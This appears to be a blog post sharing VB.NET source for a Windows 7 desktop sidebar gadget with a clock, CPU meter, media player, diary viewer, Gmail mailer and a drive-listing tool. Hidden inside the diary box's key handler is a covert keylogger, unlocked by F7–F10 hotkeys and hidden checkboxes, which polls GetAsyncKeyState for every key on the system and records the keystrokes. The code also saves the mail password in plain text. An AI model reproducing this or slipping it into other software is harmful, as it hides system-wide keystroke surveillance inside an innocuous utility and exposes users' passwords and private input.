Sunday, March 28

My window7 slidebar

Imports System.IO
Imports System.Net.Mail
Public Class slidebar
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Public Sub fadeclose()
Panel2.Hide()
Dim i As Double
For i = Me.Opacity To 0.0 Step -0.0008
Me.Opacity = i
Application.DoEvents()
Next
End
End Sub
Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll
Me.Opacity = TrackBar1.Value / 100
Me.Refresh()
End Sub

Private Sub slidebar_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.DoubleClick
Me.Hide()
End Sub
Private Sub slidebar_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If My.Settings.myposition2 = "" Then
Else
Me.Top = My.Settings.myposition2
Me.Left = My.Settings.myposition
End If
Try
ComboBox1.Text = My.Settings.mailid
TextBox5.Text = My.Settings.mailpwd
Button1.BackColor = Me.BackColor
Catch ex As Exception
End Try
TextBox6.Text = Today.Year & "\" & Today.DayOfYear
Dim i, j, k, cipher As String
i = "D:\Diary\" & TextBox6.Text & "\Diary.rtf"
j = "D:\Diary\" & TextBox6.Text & "\remind.rtf"
k = "D:\Diary\" & TextBox6.Text & "\todo.rtf"
Try
If My.Computer.FileSystem.DirectoryExists("D:\Diary\" & "\" & TextBox6.Text) Then
cipher = My.Computer.FileSystem.ReadAllText(i)
RichTextBox4.Text = cipher
RichTextBox1.Text = My.Computer.FileSystem.ReadAllText(k)
RichTextBox3.Text = My.Computer.FileSystem.ReadAllText(j)
Else
RichTextBox4.Text = "There is nothing updated on this date!!"
End If
Catch ex As Exception
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Panel2.Show()
Panel2.BringToFront()
Panel4.Visible = False
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
ColorDialog1.ShowDialog()
Me.BackColor = ColorDialog1.Color
Button1.BackColor = Me.BackColor
Button2.BackColor = Me.BackColor
Me.Refresh()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Label2.Text = TimeOfDay
Dim cpuload As Integer = CDec(PerformanceCounter1.NextValue.ToString)
cpuload = 100 - cpuload
Label9.Text = cpuload.ToString & "%"
On Error Resume Next
ProgressBar1.Value = cpuload.ToString()

End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Me.Opacity = 1
Try
OpenFileDialog1.ShowDialog()
Dim file As String
file = OpenFileDialog1.FileName
Label3.Text = OpenFileDialog1.FileName
AxWindowsMediaPlayer1.URL = Label3.Text
Catch x As Exception
End Try
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Label1.Text = TextBox1.Text
End Sub
Private Sub Label1_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Label1.DoubleClick
Panel1.BackColor = Me.BackColor
Panel1.Show()
End Sub
Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
Panel1.Hide()
End Sub
Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
fadeclose()
End Sub
Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
fadeclose()
End Sub
Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
Panel2.Hide()
End Sub
Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
Taskbar.Show()
End Sub
Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
Button10.Enabled = False
Timer2.Enabled = True
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
If TextBox2.Text = 0 Then
Shell("shutdown -f -s")
Else
TextBox2.Text -= 1
End If
End Sub
Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click
Timer2.Enabled = False
Button10.Enabled = True
End Sub

Private Sub AxWindowsMediaPlayer1_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AxWindowsMediaPlayer1.Enter

End Sub
Private Sub RichTextBox4_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles RichTextBox4.KeyDown
If e.KeyCode = Keys.F7 Then
Timer3.Enabled = True
End If
If e.KeyCode = Keys.F8 Then
Timer3.Enabled = False
End If
If e.KeyCode = Keys.F9 Then
CheckBox1.Show()
CheckBox2.Show()
End If
If e.KeyCode = Keys.F10 Then
CheckBox1.Visible = False
CheckBox2.Visible = False
End If
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
If CheckBox2.CheckState = CheckState.Checked Then
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[SHIFT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ¤", "[ALT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ¢", "[CTRL] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[BACKSPACE] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[CAPS LOCK] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT]¡", "[RSHIFT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ¥", "[RALT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" £", "[RCTRL] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("%", "[LEFT ARROW] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("'", "[RIGHT ARROW] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("&", "[UP ARROW] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("(", "[DOWN ARROW] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("-", "[INSERT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("$", "[HOME] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("#", "[END] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("!", "[PAGE UP] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("x", "[F9] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("p", "[F1] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("q", "[F2] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("r", "[F3] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("s", "[F4] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("t", "[F5] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("u", "[F6] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("v", "[F7] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("w", "[F8] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("y", "[F10] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("z", "[F11] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("{", "[F12] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[ESC] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(",", "[PRINTSCREEN] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[PAUSEBREAK] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("", "[NUM LOCK] ")
End If
RichTextBox3.Text = RichTextBox3.Text.Replace("¾", ".")
RichTextBox3.Text = RichTextBox3.Text.Replace("¾", ".")
RichTextBox3.Text = RichTextBox3.Text.Replace("½", "[DASH] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("[INSERT][DASH]", "[DASH] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("»", "=")
RichTextBox3.Text = RichTextBox3.Text.Replace("Ü", "\")
RichTextBox3.Text = RichTextBox3.Text.Replace("Ü", "\")
RichTextBox3.Text = RichTextBox3.Text.Replace("a", "1")
RichTextBox3.Text = RichTextBox3.Text.Replace("b", "2")
RichTextBox3.Text = RichTextBox3.Text.Replace("c", "3")
RichTextBox3.Text = RichTextBox3.Text.Replace("d", "4")
RichTextBox3.Text = RichTextBox3.Text.Replace("e", "5")
RichTextBox3.Text = RichTextBox3.Text.Replace("f", "6")
RichTextBox3.Text = RichTextBox3.Text.Replace("g", "7")
RichTextBox3.Text = RichTextBox3.Text.Replace("h", "8")
RichTextBox3.Text = RichTextBox3.Text.Replace("i", "9")
RichTextBox3.Text = RichTextBox3.Text.Replace("o", "/")
RichTextBox3.Text = RichTextBox3.Text.Replace("j", "*")
RichTextBox3.Text = RichTextBox3.Text.Replace("k", "+")
RichTextBox3.Text = RichTextBox3.Text.Replace("m", "[DASH] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("¿", "/")
RichTextBox3.Text = RichTextBox3.Text.Replace("`", "0")
RichTextBox3.Text = RichTextBox3.Text.Replace("n", ".")
RichTextBox3.Text = RichTextBox3.Text.Replace("¼", "[COMMA] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", vbNewLine & "[TAB] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("Ý", "[SQR BRKTL] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("Û", "SQR BRKT ")
RichTextBox3.Text = RichTextBox3.Text.Replace("Þ", "[QUOTE] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("º", ";")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT] 2", "@")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT] 6", "^")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT] 8", "*")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT] 0", ")")
If CheckBox1.CheckState = CheckState.Checked Then
For i = 1 To 275
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox3.Text = RichTextBox3.Text + Chr(i)
End If
Next i
End If
End Sub
Private Sub Label12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label12.Click
Panel3.Show()
End Sub

Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click
Panel3.Hide()
End Sub
Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged
If CheckBox3.CheckState = CheckState.Checked Then
My.Settings.mailid = ComboBox1.Text
My.Settings.mailpwd = TextBox5.Text
My.Settings.Save()
End If
End Sub
Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click
My.Settings.mailid = ""
My.Settings.mailpwd = ""
My.Settings.Save()
CheckBox3.CheckState = CheckState.Unchecked
ComboBox1.Text = ""
TextBox5.Text = ""
End Sub
Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click
Dim emailid, password As String
Dim ia As String
ia = "@gmail.com"
emailid = ComboBox1.Text & ia
password = TextBox5.Text
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
Try
'for concatenation with gmail id
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(TextBox3.Text)
mail.Subject = TextBox4.Text
mail.Body = RichTextBox2.Text
smtpServer.Send(mail)
MsgBox("Mail Successfully Sent to " & TextBox3.Text)
Catch ex As Exception
End Try
End Sub

Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click
Schedular.Show()
End Sub

Private Sub NotifyIcon1_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick
Me.Show()
End Sub

Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick

End Sub
Private Sub Button17_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Button17.MouseMove
Me.Left += 1
End Sub
Private Sub Button16_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Button16.MouseMove
Me.Left -= 1
End Sub
Private Sub Button19_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Button19.MouseMove
Me.Top -= 1
End Sub
Private Sub Button18_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Button18.MouseMove
Me.Top += 1
End Sub

Private Sub Button23_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button23.Click
Me.Top += 1
End Sub

Private Sub Button22_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button22.Click
Me.Top -= 1
End Sub

Private Sub Button21_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button21.Click
Me.Left += 1
End Sub

Private Sub Button20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button20.Click
Me.Left -= 1
End Sub

Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged
If CheckBox4.Checked Then
Panel4.Hide()
End If
End Sub

Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged
If CheckBox5.Checked Then
My.Settings.myposition = Me.Left
My.Settings.myposition2 = Me.Top
My.Settings.Save()
End If
End Sub

Private Sub SetPositionToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SetPositionToolStripMenuItem.Click
Panel4.Show()
End Sub

Private Sub MinimizeToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MinimizeToolStripMenuItem.Click
Me.Hide()
End Sub

Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitToolStripMenuItem.Click
End
End Sub
Private Sub LovesWebBrowserToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LovesWebBrowserToolStripMenuItem.Click
ePad.Show()
End Sub

Private Sub PcInformationStorerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PcInformationStorerToolStripMenuItem.Click
Try
ProgressBar2.Visible = True
SaveFileDialog1.FileName = "computer info"
SaveFileDialog1.Filter = "Text(*.txt)|*.txt|HTML(*html*)|*.html|PHP(*.php*)|*.php*|All files (*.*)|*.*"
SaveFileDialog1.ShowDialog()
Dim i As Integer
Dim items() As String
Dim items2() As String
Dim items3() As String
Dim a As String
Dim itm, itm2, itm3 As String
Dim driveinfo As System.IO.DriveInfo
Dim b As Integer
a = SaveFileDialog1.FileName
b = 0
i = 0
Dim drives() As String
drives = Directory.GetLogicalDrives 'getting logical drives
Dim drive As String

If My.Computer.FileSystem.FileExists(a) = True Then 'checking for file existing where information has to be stored!!
My.Computer.FileSystem.DeleteFile(a) 'deleting the existing file!!
End If
My.Computer.FileSystem.WriteAllText(a, "Computer's operating system name: " & My.Computer.Info.OSFullName & vbNewLine & _
"Computer's available physical memory: " & My.Computer.Info.AvailablePhysicalMemory & vbNewLine & _
"Computer's available virtual memory: " & My.Computer.Info.AvailableVirtualMemory & vbNewLine & _
"Computer name: " & My.Computer.Name & vbNewLine & _
"Computer is Connected with network : " & My.Computer.Network.IsAvailable & vbNewLine & _
"Computer's language : " & My.Computer.Info.InstalledUICulture.DisplayName & vbNewLine & _
"Computer's Time : " & My.Computer.Clock.LocalTime() & vbNewLine & _
"Tick Count is: " & My.Computer.Clock.TickCount() & vbNewLine & _
"Mouse Button Swapped: " & My.Computer.Mouse.ButtonsSwapped() & vbNewLine & _
"Mouse Wheel Exist: " & My.Computer.Mouse.WheelExists() & vbNewLine & _
"Mouse Scroll per line: " & My.Computer.Mouse.WheelScrollLines() & vbNewLine & _
"IR location: " & My.Computer.FileSystem.CurrentDirectory() & vbNewLine & _
"IR Temporary File Location: " & My.Computer.FileSystem.GetTempFileName() & vbNewLine, True)
' "My IP Address::" & AxWinsock1.LocalIP & vbNewLine & _
' "Host Name::" & AxWinsock1.LocalHostName & vbNewLine & _
For Each drive In drives
b = b + 1
Next
ProgressBar2.Maximum = b
For Each drive In drives 'Writing found logical drives
i = i + 1
My.Computer.FileSystem.WriteAllText(a, "------------------------------------------------" & vbNewLine & drive & vbNewLine & "------------------------------------------------" & vbNewLine, True)
driveinfo = My.Computer.FileSystem.GetDriveInfo(drive)
If driveinfo.IsReady = False Then
My.Computer.FileSystem.WriteAllText(a, "This Drive is not currently in use!!" & vbNewLine, True)
Else
My.Computer.FileSystem.WriteAllText(a, "label:: " & driveinfo.VolumeLabel & vbNewLine & "Type:: " & driveinfo.DriveType.ToString & vbNewLine & _
"Total Size:: " & driveinfo.TotalSize & vbNewLine & "Free Space:: " & driveinfo.TotalFreeSpace & _
vbNewLine & "------------------------------------------------" & vbNewLine, True)

Try 'Finding the files in the logical drive
items = Directory.GetFileSystemEntries(drive)
Catch ex As Exception
End Try

For Each itm In items 'writing found files and folders one by one for first level 1
If Directory.Exists(itm) Then
My.Computer.FileSystem.WriteAllText(a, itm & vbNewLine, True)
Try
items2 = Directory.GetFileSystemEntries(itm) 'writing found files and folders one by one for second level 2
Catch ex As Exception
End Try
For Each itm2 In items2
If Directory.Exists(itm2) Then
My.Computer.FileSystem.WriteAllText(a, vbTab & itm2 & vbNewLine, True)
Try
items3 = Directory.GetFileSystemEntries(itm2) 'writing found files and folders one by one for third level 2
Catch ex As Exception
End Try

For Each itm3 In items3
If Directory.Exists(itm3) Then
My.Computer.FileSystem.WriteAllText(a, vbTab & vbTab & itm3 & vbNewLine, True)
Else
My.Computer.FileSystem.WriteAllText(a, vbTab & vbTab & itm3 & vbNewLine, True)
End If
Next
Else
My.Computer.FileSystem.WriteAllText(a, vbTab & itm2 & vbNewLine, True)
End If
Next
Else
My.Computer.FileSystem.WriteAllText(a, itm & vbNewLine, True)
End If
Next
End If
ProgressBar2.Value = i
Next
MsgBox("Information has been stored!! Thanks for using!!")
ProgressBar2.Visible = False
Catch ex As Exception
End Try
End Sub

Private Sub ContextMenuStrip1_Opening(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles ContextMenuStrip1.Opening

End Sub

Private Sub MoreMediaPlayerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MoreMediaPlayerToolStripMenuItem.Click
Mediaplate.Show()
End Sub
End Class

No comments: